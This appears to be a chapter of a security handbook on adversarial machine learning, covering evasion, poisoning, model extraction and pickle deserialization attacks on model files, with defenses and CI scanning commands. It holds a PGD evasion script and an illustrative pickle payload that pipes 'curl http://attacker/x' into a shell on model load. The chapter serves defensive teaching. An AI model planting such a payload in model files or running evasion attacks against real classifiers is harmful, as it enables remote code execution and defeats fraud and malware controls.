Adversarial machine learning

Adversarial machine learning is the decade of attack research that still governs any classifier in an estate - fraud, malware, vision, biometrics - and underlies the embedding, multimodal, and infrastructure attacks that follow. Five families, each with a worked example.

In short

• Hiding a model behind a “black-box” API buys little: adversarial examples transfer across models, and extraction turns your black-box into the attacker’s white-box.
• Evasion reduces to one move - push the input along the gradient of the model’s loss - and stronger attacks (PGD) simply iterate it.
• A trained model file is executable code, not inert data, so the class only goes away with a weights-only format (safetensors) plus provenance, not a scanner.

Family	Target / asset	Canonical example
Evasion	Inference-time decision	FGSM/PGD perturbations flip a malware or image classifier (Goodfellow; Madry)
Poisoning / backdoor	Training/fine-tune data	BadNets trigger: model behaves until it sees the attacker’s cue (Gu)
Extraction	Model IP via API	Rebuild a functional copy from query/response pairs (Tramèr)
Membership inference	Training-set privacy	Was this record used to train? (Shokri)
Model inversion	Training-data reconstruction	Recover representative faces from a recognition model (Fredrikson)

The last two rows are one-line summaries, not the whole story: membership inference and model inversion - along with attribute inference and gradient-leakage attacks - are developed in depth in I.3 · Training data, which is where the privacy-attack methodology, threat models, and defenses live.

Offensive note

Black-box is rarely a real barrier. Adversarial examples transfer across models trained on similar data, so an attacker crafts on a surrogate and fires at your hidden model; extraction turns your black-box into the attacker’s white-box. Assume the decision boundary is discoverable.

PGD evasion against a classifier - IBM ART (authorized testing)

# pip install adversarial-robustness-toolbox
# Authorized use: run only against a model you own or are engaged to test.
import numpy as np
from art.estimators.classification import PyTorchClassifier
from art.attacks.evasion import ProjectedGradientDescent

classifier = PyTorchClassifier(
    model=target_model, loss=loss_fn, optimizer=optimizer,
    input_shape=(3, 224, 224), nb_classes=1000, clip_values=(0.0, 1.0),
)

# L-inf PGD: eps=4/255 budget (the ImageNet L-inf standard; CIFAR uses 8/255), 40 iterations.
attack = ProjectedGradientDescent(
    estimator=classifier, norm=np.inf,
    eps=4/255, eps_step=1/255, max_iter=40, targeted=False,
)
x_adv = attack.generate(x=x_clean)

print("clean acc:", (classifier.predict(x_clean).argmax(1) == y).mean())
print("adv   acc:", (classifier.predict(x_adv).argmax(1)   == y).mean())
# Transfer test: craft on a surrogate, fire at the black-box target (no target gradients needed).
# DEFENSE: report accuracy under this exact PGD config; adversarial-train on x_adv;
# add input randomization. FGSM-only numbers overstate robustness.

That single idea - move along the gradient of the loss - underlies the whole family; stronger attacks (PGD) just iterate it, and transfer means an attacker can craft it on a surrogate model and fire it at yours (II.3 · Jailbreaks & guardrail bypasses covers the text-domain analogue).

Canon

• Goodfellow 2014 - Explaining & Harnessing Adversarial Examples (FGSM) - arXiv:1412.6572
• Madry 2017 - Resistance to Adversarial Attacks (PGD) - arXiv:1706.06083
• Gu 2017 - BadNets - backdoor attacks - arXiv:1708.06733
• Tramèr 2016 - Stealing ML Models via Prediction APIs - USENIX Security

For the organization

• Inventory every model making a security or eligibility decision; pen-test it as a tamperable control.
• If you fine-tune or run RAG (retrieval-augmented generation), treat the data pipeline as attacker-reachable: validate sources, sign datasets, test for backdoors before promotion.
• Rate-limit and monitor prediction APIs against extraction.

Model files are executable: serialization & deserialization attacks

A trained model ships as a file, and the common formats are not inert data - they run code when loaded. Python’s pickle (used by PyTorch’s torch.load, scikit-learn, and joblib), plus TensorFlow/Keras Lambda layers, TorchScript, and HDF5, all permit executable callbacks during deserialization. Loading an attacker’s model file is therefore arbitrary code execution on the machine that loads it - a supply-chain RCE (remote code execution) that needs no exploit, just model.load(). The pickle RCE primitive has been known since 2011; what changed is that model-sharing hubs turned it into a distribution channel.

Worked example - the pickle RCE primitive (illustrative)

# pickle calls __reduce__ on load to reconstruct an object; an attacker
# returns a callable + args, and the "reconstruction" runs their code.
class Payload:
    def __reduce__(self):
        import os
        return (os.system, ("curl http://attacker/x | sh",))   # runs on torch.load()
# Saved into a .bin/.pt/.pkl model, this executes the moment a victim loads it.
# DEFENSE: never load untrusted pickle; prefer safetensors (weights only, no code);
# PyTorch weights_only=True is the default since v2.6; scan in CI before promotion.

This is live, not theoretical. JFrog found a Hugging Face model carrying a silent reverse-shell backdoor in 2024; in February 2025 ReversingLabs disclosed nullifAI, where deliberately “broken” pickle files executed a reverse shell while evading Hugging Face’s picklescan. Protect AI / HiddenLayer hub-scanning reports through 2024-2025 tracked a sharp year-over-year rise in flagged malicious model uploads (see I.5 · The model artifact & its supply chain). Hugging Face scans uploads (ClamAV for malware, picklescan for pickle imports, TruffleHog for secrets) but marks rather than blocks unsafe models - the download-and-run decision is still yours.

Offensive note

A model file is a payload wrapped in a format people load without thinking. Scanners are denylist-based and provably bypassable - nullifAI is the proof - so treat them as defense-in-depth, not a guarantee. The real fix is format and provenance: weights-only formats remove the code path entirely.

Defenses for the model artifact

• Prefer safetensors - it encodes only tensor data, no executable opcodes, so the deserialization-RCE class is designed out.
• Use restricted loaders - PyTorch’s weights-only unpickler (weights_only=True) is the default from v2.6, refusing arbitrary callables on load.
• Scan every third-party model in CI - ModelScan (Protect AI), Fickling (Trail of Bits), and picklescan as a promotion gate before a model reaches a registry.
• Treat model files as untrusted executables - sandbox loading of anything unverified, and require provenance/signing before use (I.5 · The model artifact & its supply chain).

Which formats execute on load - and the safe handling for each:

Format	Runs code on load?	Safe handling
.safetensors	No	Preferred - tensor data only, no opcode path. Convert to this whenever you can.
.bin / .pt / .ckpt (pickle)	Yes	pickle RCE on load; pin weights_only=True (PyTorch >= 2.6 default) or convert to safetensors; modelscan + fickling before promotion.
.h5 (Keras/HDF5)	Yes	Lambda layers run arbitrary Python on load; modelscan flags them; reject Lambda layers or re-export weights-only.
GGUF	No	Weights + metadata only, no callback path by design; still verify provenance and use a current loader - the risk here is parser bugs, not opcode execution.
joblib	Yes	joblib.load is pickle underneath - same RCE; scan and sandbox, prefer a non-pickle format.

Grep for unsafe loaders, and scan before load (authorized use)

# The checklist item made concrete: torch.load() lines that never pin weights_only=True.
rg -n 'torch\.load\(' -g '*.py' | rg -v 'weights_only'

# Pre-load gate: scan the artifact BEFORE any load() touches it, not only in CI.
modelscan -p ./models/candidate.bin     # non-zero exit == executable opcodes; do not load

CI model-scan gate before promotion (authorized use)

# Fail the pipeline if any third-party artifact carries executable opcodes.
pip install modelscan fickling

# 1) modelscan (Protect AI) - flags os.system, exec, GLOBAL imports in pickle/H5/Keras.
modelscan -p ./models/ --show-skipped
# exit non-zero on findings; -r json emits a machine-readable report for the gate:
modelscan -p ./models/candidate.pt -r json -o modelscan-report.json

# 2) fickling (Trail of Bits) - static analysis / safety check of a single pickle.
fickling --check-safety ./models/candidate.pkl
fickling --trace ./models/candidate.pkl        # dump the opcode stream to inspect __reduce__

# 3) Prefer the format that removes the code path entirely - convert to safetensors:
python -c "from safetensors.torch import save_file; import torch; \
  save_file(torch.load('candidate.pt', weights_only=True), 'candidate.safetensors')"

# NOTE: picklescan is denylist-based; the nullifAI models (Feb 2025) evaded it by 7z-wrapping
# the pickle so it wasn't auto-detected. Run modelscan AND fickling, never picklescan alone.

Model-artifact test checklist

• Every third-party model scanned by modelscan + fickling in CI, gate on non-zero exit.
• Loaders pinned to weights_only=True (PyTorch >= 2.6) or safetensors; grep the codebase for torch.load( without it.
• Untrusted loads sandboxed (no egress, dropped caps).
• Provenance verified before use: model signed via Sigstore/model-signing (model_signing verify) or an equivalent attestation; unsigned artifacts blocked. See I.5 · The model artifact & its supply chain.

Sources

• ReversingLabs 2025 - nullifAI - malicious models evading picklescan - reversinglabs.com, Feb 2025
• JFrog 2024 - Malicious HF model, silent backdoor - jfrog.com
• PyTorch / HF - weights-only unpickler (default v2.6+); safetensors - safe model format

Maps to

OWASP LLM04 (Data & Model Poisoning); LLM03 (Supply Chain); MITRE ATLAS: evasion, model extraction / theft, model inversion, ML attack staging, ML supply chain. Cross-refs: II.3 · Jailbreaks & guardrail bypasses text-domain analogue, I.5 · The model artifact & its supply chain supply chain.